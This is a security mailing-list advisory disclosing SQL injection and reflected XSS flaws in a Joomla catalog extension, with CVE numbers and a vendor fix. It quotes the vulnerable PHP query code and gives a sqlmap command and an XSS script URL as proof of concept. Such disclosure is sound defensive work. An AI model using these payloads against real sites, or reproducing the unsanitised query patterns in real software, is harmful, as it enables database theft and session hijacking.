Openwall GNU/*/Linux - a small security-enhanced Linux distro for servers
[<prev] [next>] [day] [month] [year] [list]
Date: Tue, 26 Jul 2016 08:37:28 -0400
From: "Larry W. Cashdollar" <larry0@...com>
To: Open Source Security <oss-security@...ts.openwall.com>
Subject: SQLi and Reflected XSS in Huge IT catalog extension v1.0.4 for Joomla

Title: SQLi and XSS in Huge IT catalog extension v1.0.4 for Joomla
Author: Larry W. Cashdollar, @_larry0
Date: 2015-07-17
Download Site: http://extensions.joomla.org/extensions/extension/e-commerce/shopping-cart/catalog
Vendor: www.huge-it.com
Vendor Notified: 2015-07-17, fixed in v1.0.5
Vendor Contact: info@...e-it.com
Description: This extension is designed to help you display the products in the most attractive way. Joomla Catalog Extension has a stylish design with convenient construction for displaying the product to the customers.
Vulnerability:
The attacker must be logged in with at least manager level access or access to the administrative panel to exploit this vulnerability.

Reflected XSS in file ./views/submissions/tmpl/default.php via message_id parameter:

825:   <input type="hidden" id="message_id" value ="<?php echo $_GET['message_id']; ?>" />


SQL Injection 

in file ./models/submissions.php via id parameter
59-        $query = $db->getQuery(true);
60-        $id = JRequest::getVar('message_id');
61-        $this-> updateReadInfo($id);
62:        $query->select('*,#__huge_it_catalog_products.name as product_name, #__huge_it_catalog_asc_seller.id as  message_id');
63-        $query->from('#__huge_it_catalog_asc_seller,#__huge_it_catalog_products');
64-        $query->where('#__huge_it_catalog_asc_seller.product_id = #__huge_it_catalog_products.id and #__huge_it_catalog_asc_seller.id = "'.$id.'"');
65-        $db->setQuery($query);
in file ./models/comment.php via projectId parameter:

56-        $db = JFactory::getDBO();
57-       $id = JRequest::getVar('projectId'); 
58-       $query = $db->getQuery(true);
59:        $query->select('*,#__huge_it_catalog_reviews.id as comId, #__huge_it_catalog_reviews.name as author_name, #__huge_it_catalog_products.name as product_name')
60-             ->from('#__huge_it_catalog_reviews, #__huge_it_catalog_products')
61-         ->where('#__huge_it_catalog_reviews.product_id = #__huge_it_catalog_products.id and #__huge_it_catalog_products.id = "'.$id.'"');
62-        $db->setQuery($query);

in file ./models/rating.php via projectId parameter:

55-        return $results;
56-    } 
57-    
58-    public  function getRatingById() {
59-        $db = JFactory::getDBO();
60:       $id = JRequest::getVar('projectId'); 
61-       $query = $db->getQuery(true);
62-        $query->select('*,#__huge_it_catalog_rating.id as ratId')
63-             ->from('#__huge_it_catalog_rating, #__huge_it_catalog_products')
64-         ->where('#__huge_it_catalog_rating.prod_id = #__huge_it_catalog_products.id and #__huge_it_catalog_products.id = "'.$id.'"');
65-        $db->setQuery($query);

in file ./models/catalog.php via id parameter:

45:        $id_cat = JRequest::getVar('id');
46-        $query = $db->getQuery(true);
47-        $query->select('#__huge_it_catalog_products.name as name,'
48-                . '#__huge_it_catalog_products.id ,'
49-                . '#__huge_it_catalogs.name as catName,'
50-                . 'catalog_id,#__huge_it_catalog_products.description as productDescription,#__huge_it_catalog_products.parameters as productParameters,#__huge_it_catalogs.description,image_url,sl_url,sl_type,price,market_price,single_product_url_type,single_product_url_type,#__huge_it_catalog_products.link_target as productLinkTarget,#__huge_it_catalog_products.ordering,#__huge_it_catalog_products.published,published_in_sl_width');
51-        $query->from(array('#__huge_it_catalogs' => '#__huge_it_catalogs', '#__huge_it_catalog_products' => '#__huge_it_catalog_products'));
52-        $query->where('#__huge_it_catalogs.id = catalog_id')->where('catalog_id=' . $id_cat);
53-        $query->order('ordering asc');
54-       
55-        $db->setQuery($query);
--
63:        $id_cat = JRequest::getVar('id');
64-        $query = $db->getQuery(true);
65-        $query->select('*');
66-        $query->from('#__huge_it_catalog_products');
67-        $query->where('catalog_id=' . $id_cat);
68-        $db->setQuery($query);
69-        $results = $db->loadObjectList();
70-        return $results;
71-    }
72-
73-    public function save($data) {
--
121:        $id_cat = JRequest::getVar('id');
122-        $query = $db->getQuery(true);
123-        $query->update('#__huge_it_catalogs')->set('name ="' . $name . '"')->where('id="' . $id_cat . '"');
124-        $db->setQuery($query);
125-        $db->execute();
126-    }
127-
128-    function selectStyle() {
129-        $db = JFactory::getDBO();
130-        $data = JRequest::get('post');
131-          $name = $data['name'];
--
136:        $id_cat = JRequest::getVar('id');
137-        $query = $db->getQuery(true);
138-        
139-        $query->update('#__huge_it_catalogs')
140-              ->set('name ="' . $name . '"')
141-              ->set('catalog_list_effects_s ="'.$catalog_effects_list.'"')
142-              ->set('pagination_type ="'.$pagination_type.'"')
143-              ->set('count_into_page ="'.$count_into_page.'"')
144-              ->set('categories ="'.$allCategories.'"')
145-              ->where('id="' . $id_cat . '"');
146-        $db->setQuery($query);
--

via removeslide parameter:

208:        $id_cat = JRequest::getVar('removeslide');
209:        $id = JRequest::getVar('id');
210-        $db = JFactory::getDBO();
211-        $query = $db->getQuery(true);
212-        $query->delete('#__huge_it_catalog_products')->where('id =' . $id_cat);
213-        $db->setQuery($query);
214-        $db->execute();

CVE-2016-1000119 XSS
CVE-2016-1000120 SQLi

Exploit Code:
	• SQLi:
	•  
	• $ sqlmap  --load-cookies=cookies.txt -u "http://192.168.0.125/administrator/index.php?option=com_catalog&view=catalog&id=*" --dbms mysql 
	•  
	• XSS:
	•  
	• http://192.168.0.125/administrator/index.php?option=com_catalog&view=catalog&id=1--%20%22%3E%3Cscript%3Ealert(1);%3C/script%3E
Advisory: http://www.vapidlabs.com/advisory.php?v=167

Powered by blists - more mailing lists

Your e-mail address:

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.